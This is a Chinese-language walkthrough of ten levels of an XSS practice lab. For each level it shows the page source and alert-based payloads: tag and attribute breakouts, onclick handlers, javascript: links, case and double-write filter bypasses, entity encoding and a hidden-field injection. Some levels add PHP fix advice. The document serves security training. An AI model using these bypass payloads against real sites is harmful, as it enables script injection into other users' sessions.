我们进入到这个页面之后,快速关注到几个点,Xss注重的输入点,这里的输入点首先在URL栏中找到了name值,Payload检测了该值的长度,所以我们接下来的所有动作都在这个地方进行。
我们翻开源码发现
<body> <h1 align=center>欢迎来到level1</h1> <h2 align=center>欢迎用户test</h2> <center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif <h3 align=center>payload的长度:4</h3></body>我们可以对name熟悉做手脚,试构造Payload:
name=<script>alert(/xss/)</script>修复建议
<!DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; }</script><title>欢迎来到level1</title></head><body><h1 align=center>欢迎来到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>从源码中可以看出问题出自$str = $_GET["name"];,将用户输入的内容原样输出了
$str = htmlspecialchars($_GET["name"] , ENT_QUOTES);使用 htmlspecialchars函数转为HTML实体,留意第二个参数不要忘了!后续的许多源码与这里同一个道理,具体的在做解释!
level2
本题题面看不出区别,但是HTML就有所构造不同了
<body><h1 align=center>欢迎来到level2</h1><h2 align=center>没有找到和<>test相关的结果.</h2><center><form action=level2.php method=GET><input name=keyword value="<>test"><input type=submit name=submit value="搜索"/></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:6</h3></body>没错,后台使用了函数对<>进行了HTML实体,不过我们也还是发现了一个点!
<input name=keyword value="<>test">input输入点,没错后端在搜索后是保留搜索的关键字内容,所有这就是缺洞!
"><script>alert(1)</script><"Payload完美的闭合了input标签
<input name=keyword value=""><script>alert(1)</script><"">level3
<body><h1 align=center>欢迎来到level3</h1><h2 align=center>没有找到和<>test相关的结果.</h2><center><form action=level3.php method=GET><input name=keyword value='<>test'> <input type=submit name=submit value=搜索 /></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:6</h3></body>这里将level2的漏给堵上了!我们从<>可以得知后端是利用htmlspecialchars函数转为HTML实体编码后输出的,但我们在level1的时候说了htmlspecialchars存在一种开发手误,就是后端开发忘记了设置函数的第二参数导致“会转换双引号,不转换单引号”
ps:这里的input标签中的属性使用的单引号,所以我们的Payload才可以成功!
' onclick=alert(1) '<input name=keyword value='' onclick=alert(1) ''> 这里有一点比较有趣,就是onclick这个属性;我们都知道输入框输入之后,保留输入内容,而我们的onclick就会保留在input标签中,而触发条件需要我们单击输入框。
level4
发生了一个比较玄学的东西,我们再来瞅瞅HTML源码
<body><h1 align=center>欢迎来到level4</h1><h2 align=center>没有找到和<>text相关的结果.</h2><center><form action=level4.php method=GET><input name=keyword value="text"><input type=submit name=submit value=搜索 /></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:4</h3></body><input name=keyword value="text">没错,我们输入的两个尖括号消失了;而且input标签采用了双引号,level3的方法也是行不通的!不过我还是“多此一举”的使用双引号
" onclick=alert(1) "没想到!成功了!看样子后端没有HTML实体编码!
level5
<body><h1 align=center>欢迎来到level5</h1><h2 align=center>没有找到和<script></srcipt> ' " test相关的结果.</h2><center><form action=level5.php method=GET><input name=keyword value="<scr_ipt></srcipt> ' " test"><input type=submit name=submit value=搜索 /></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:27</h3></body>综合了几个不同的payload特性测试了level5的过滤方式,发现在<h2>标签使用了HTML实体编码,在<input>标签则没有使用HTML实体编码而是做了些过滤删改“ 对script转为scr_ipt ”,后续测试发现 “onclick =》 o_click”,双写、大小写混合等方式均失败!
绕过的策略就是避开他拉黑的函数,使用其它的方式触发!其它事件属性测试后发现没有效果,都被加了下划线隔开了!可见事件触发式不行的了!
另辟蹊径~我们……使用a标签去绕过对scrip标签的检查和事件属性的检测
"><a href="javascript:alert(/xss/)">alert</a> <"level6
<body><h1 align=center>欢迎来到level6</h1><h2 align=center>没有找到和<script> <a> href " ' alert相关的结果.</h2><center><form action=level6.php method=GET><input name=keyword value="<scr_ipt> <a> hr_ef " ' alert"><input type=submit name=submit value=搜索 /></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:32</h3></body>可以发现,对上一关的 href 做了过滤隔开!测了上前五关的payload,然后使用双写、大小写方式绕过:
"><a HREf="javascript:alert(/xss/)">alert</a> <"level7
<body><h1 align=center>欢迎来到level7</h1><h2 align=center>没有找到和<script> <a> href " ' alert相关的结果.</h2><center><form action=level7.php method=GET><input name=keyword value="<> <a> " ' alert"><input type=submit name=submit value=搜索 /></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:20</h3></body>这里可以看出简单粗暴的处理方式,直接将敏感内容为空了!然后使用双写、大小写方式绕过:
"><a hrehreff="javascripscriptt:alert(/xss/)">alert</a> <"level6:没有对输入变量进行统一小写/大写转换,应该添加
strtolower函数统一小写,便于以下操作:$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);level7:必须注意
str_replace函数,该函数只对字符串进行一次查找并全部替换、大小写敏感;解决方法就是将替换后的字符串再一次作为替换源进行替换。$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);
level8
可以看出,这里的输入内容是一个超链接!
<body><h1 align=center>欢迎来到level8</h1><center><form action=level8.php method=GET><input name=keyword value="<><script>onclick ' " / alert herf "><input type=submit name=submit value=添加友情链接 /></form></center><center><BR><a href="<><scr_ipt>o_nclick ' " / alert herf ">友情链接</a></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:41</h3></body>第一时间想到了 javascript:alert(xss) ,但是发现 script 被分割了!
通过前辈的思路,学来了编码绕过…… HTML编码 >> 照例解析 >> 输出HTML代码(我们输入的HTML编码 输出的则是代码,HTML实体编码在HTML页面会被解析而在后端看不到)
javascript:alert(/xss/)
javascript:alert(/xss/)level9
<body><h1 align=center>欢迎来到level9</h1><center><form action=level9.php method=GET><input name=keyword value="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;"><input type=submit name=submit value=添加友情链接 /></form></center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:138</h3></body>使用level8-payload测试,发现如上!推测后端对我们的输入内容进行了检测!
if(false===strpos($str7,'http://')){ echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; }else{ echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}后端检测了字符串中是否有“http://”,我们需要在合适的地方插入它:
javascript:alert('http://')level10
<body><h1 align=center>欢迎来到level10</h1><h2 align=center>没有找到和<><script> onclick ' " /相关的结果.</h2><center><form id=search><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden"></form></center><center><img src=http://www.31duo.com/skin/st06hongwskin/image/nopic.gif align=center>payload的长度:24</h3></body>keyword值被HTML实体编码了,没有利用的必要了,也没有闭合的可能!
关注三个被隐藏的input标签:?keyword=test&t_link=test&t_history&t_sort=test
只有t_sort这个参数有了效果,构造:
" onclick=alert(/xss/) type="text" ><?keyword=test&t_sort=" onclick=alert(/xss/) type="text" ><
<input name="t_sort" value="" onclick=alert(/xss/) type="text" " type="hidden">ok~~~

